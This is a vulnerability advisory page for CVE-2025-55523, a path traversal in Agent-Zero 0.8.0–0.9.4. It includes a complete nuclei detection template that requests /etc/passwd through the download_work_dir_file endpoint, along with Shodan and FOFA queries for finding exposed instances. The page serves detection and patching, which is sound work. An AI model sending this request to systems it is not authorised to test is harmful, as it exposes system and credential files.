HexBrain

Browse / CVEs / CVE-2025-55523

CVE-2025-55523· CWE-22

Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download

highseverity
7.5CVSS score
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it

Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.

Impact

Attackers can access unauthorized files, potentially exposing sensitive data or system information.

Fix

Update to the latest version of Agent-Zero

How to confirm it

Send: GET {{BaseURL}}/download_work_dir_file?path=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "filename=passwd" AND status 200

Run it with nuclei: nuclei -id CVE-2025-55523 -u <target>

The full check
id: CVE-2025-55523

info:
  name: Agent-Zero 0.8.0 - 0.9.4 - Arbitrary File Download
  author: 0x_Akoko
  severity: high
  description: |
    Agent-Zero v0.8.0 - 0.9.4 contains a path traversal caused by improper validation in /api/download_work_dir_file.py, letting attackers access unauthorized files, exploit requires crafted request.
  impact: |
    Attackers can access unauthorized files, potentially exposing sensitive data or system information.
  remediation: |
    Update to the latest version of Agent-Zero
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55523
    - https://github.com/agent0ai/agent-zero/issues/687
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Agent Zero"
    fofa-query: title="Agent Zero"
  tags: cve,cve2025,agent-zero,lfi,traversal,unauth,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/download_work_dir_file?path=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "filename=passwd"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from